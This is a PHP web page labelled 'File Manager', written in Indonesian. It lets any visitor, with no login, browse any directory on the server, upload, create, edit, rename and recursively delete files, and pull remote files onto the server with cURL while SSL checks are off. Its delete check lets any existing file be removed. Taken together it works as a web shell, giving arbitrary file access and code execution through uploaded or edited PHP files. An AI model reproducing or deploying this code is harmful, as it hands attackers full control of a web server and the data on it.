<?php
session_start();

// ----[ Konfigurasi Awal ]----
$currentDir = realpath(isset($_GET['path']) ? $_GET['path'] : __DIR__);
if (!is_dir($currentDir)) {
    die("Direktori tidak ditemukan.");
}

function deleteDir($dirPath) {
    if (!is_dir($dirPath)) return unlink($dirPath);
    foreach (scandir($dirPath) as $item) {
        if ($item === '.' || $item === '..') continue;
        deleteDir($dirPath . DIRECTORY_SEPARATOR . $item);
    }
    return rmdir($dirPath);
}

// ----[ Fitur Baru: Tambah Folder Baru ]----
if (isset($_POST['new_folder']) && !empty(trim($_POST['folder_name']))) {
    $newFolderPath = $currentDir . DIRECTORY_SEPARATOR . trim($_POST['folder_name']);
    if (!file_exists($newFolderPath)) {
        mkdir($newFolderPath, 0777, true);
    }
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

// ----[ Fitur Baru: Tambah File Baru ]----
if (isset($_POST['new_file']) && !empty(trim($_POST['file_name']))) {
    $newFilePath = $currentDir . DIRECTORY_SEPARATOR . trim($_POST['file_name']);
    if (!file_exists($newFilePath)) {
        file_put_contents($newFilePath, ""); // Membuat file kosong terlebih dahulu
    }
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

// ----[ Fitur Baru: Download via cURL ]----
if (isset($_POST['curl_download']) && !empty(trim($_POST['curl_url']))) {
    $url = trim($_POST['curl_url']);
    
    // Mengambil nama file dari URL
    $filename = basename(parse_url($url, PHP_URL_PATH));
    if (empty($filename)) {
        $filename = 'downloaded_file_' . time() . '.txt'; // Nama default jika tidak ada nama file di URL
    }
    
    $savePath = $currentDir . DIRECTORY_SEPARATOR . $filename;
    
    // Inisialisasi cURL
    $ch = curl_init($url);
    $fp = fopen($savePath, 'wb');
    
    curl_setopt($ch, CURLOPT_FILE, $fp);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Mengikuti redirect jika ada
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Abaikan verifikasi SSL untuk kompatibilitas
    
    curl_exec($ch);
    curl_close($ch);
    fclose($fp);
    
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

// Rename
if (isset($_POST['rename'], $_POST['oldname'], $_POST['newname'])) {
    $old = $currentDir . DIRECTORY_SEPARATOR . $_POST['oldname'];
    $new = $currentDir . DIRECTORY_SEPARATOR . $_POST['newname'];
    if (file_exists($old)) rename($old, $new);
}

// Hapus
if (isset($_GET['delete'])) {
    $target = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['delete']);
    if (strpos($target, $currentDir) === 0 || file_exists($target)) {
        deleteDir($target);
    }
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

// Download
if (isset($_GET['download'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['download'];
    if (is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// View/Edit
if (isset($_GET['view'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['view'];
    if (is_file($file)) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            file_put_contents($file, $_POST['content']);
            echo "<p>File disimpan.</p>";
        }
        $content = htmlspecialchars(file_get_contents($file));
        echo "<h3>Edit: ".basename($file)."</h3>";
        echo "<form method='post'><textarea name='content' rows='20' cols='100'>{$content}</textarea><br><button type='submit'>Simpan</button></form>";
        echo "<p><a href='?path=".urlencode($currentDir)."'>Kembali</a></p>";
        exit;
    }
}

// Upload
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
    $tmpName = $_FILES['upload']['tmp_name'];
    $name = basename($_FILES['upload']['name']);
    move_uploaded_file($tmpName, $currentDir . DIRECTORY_SEPARATOR . $name);
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

$items = scandir($currentDir);
?>

<!DOCTYPE html>
<html>
<head>
    <title>File Manager</title>
    <style>
        body { font-family: sans-serif; padding: 20px; }
        table { border-collapse: collapse; width: 100%; margin-top: 10px; }
        td, th { padding: 8px; text-align: left; }
        .actions-wrapper { display: flex; gap: 20px; flex-wrap: wrap; background: #f4f4f4; padding: 15px; border-radius: 5px; }
        .form-inline { display: flex; gap: 5px; align-items: center; }
        input[type="text"], input[type="file"], input[type="url"] { padding: 5px; }
        button { padding: 5px 10px; cursor: pointer; }
    </style>
</head>
<body>

<h2>File Manager</h2>
<p>Path: <?= htmlspecialchars($currentDir) ?></p>
<p><a href="?path=<?= urlencode(dirname($currentDir)) ?>">⬅️ Kembali</a></p>

<div class="actions-wrapper">
    <form method="post" enctype="multipart/form-data" class="form-inline">
        <input type="file" name="upload" required>
        <button type="submit">Unggah File</button>
    </form>

    <form method="post" class="form-inline">
        <input type="text" name="folder_name" placeholder="Nama Folder Baru" required>
        <button type="submit" name="new_folder">Buat Folder</button>
    </form>

    <form method="post" class="form-inline">
        <input type="text" name="file_name" placeholder="Nama File Baru (ex: teks.txt)" required>
        <button type="submit" name="new_file">Buat File</button>
    </form>

    <form method="post" class="form-inline">
        <input type="url" name="curl_url" placeholder="URL File (http://...)" required>
        <button type="submit" name="curl_download">Download via cURL</button>
    </form>
</div>

<br>

<table border="1" cellpadding="5">
<tr><th>Nama</th><th>Aksi</th><th>Rename</th></tr>
<?php foreach ($items as $item):
    if ($item === '.' || $item === '..') continue;
    $path = $currentDir . DIRECTORY_SEPARATOR . $item;
    $isDir = is_dir($path);
    ?>
    <tr>
        <td><?= $isDir ? "📁" : "📄" ?> <?= $isDir ? "<a href='?path=" . urlencode($path) . "'>$item</a>" : htmlspecialchars($item) ?></td>
        <td>
            <?php if (!$isDir): ?>
                <a href="?path=<?= urlencode($currentDir) ?>&download=<?= urlencode($item) ?>">Download</a> |
                <a href="?path=<?= urlencode($currentDir) ?>&view=<?= urlencode($item) ?>">View/Edit</a> |
            <?php endif; ?>
            <a href="?path=<?= urlencode($currentDir) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Yakin hapus?')">Hapus</a>
        </td>
        <td>
            <form method="post" style="display:inline;">
                <input type="hidden" name="oldname" value="<?= htmlspecialchars($item) ?>">
                <input type="text" name="newname" value="<?= htmlspecialchars($item) ?>" required>
                <button type="submit" name="rename">Ubah</button>
            </form>
        </td>
    </tr>
<?php endforeach; ?>
</table>

</body>
</html>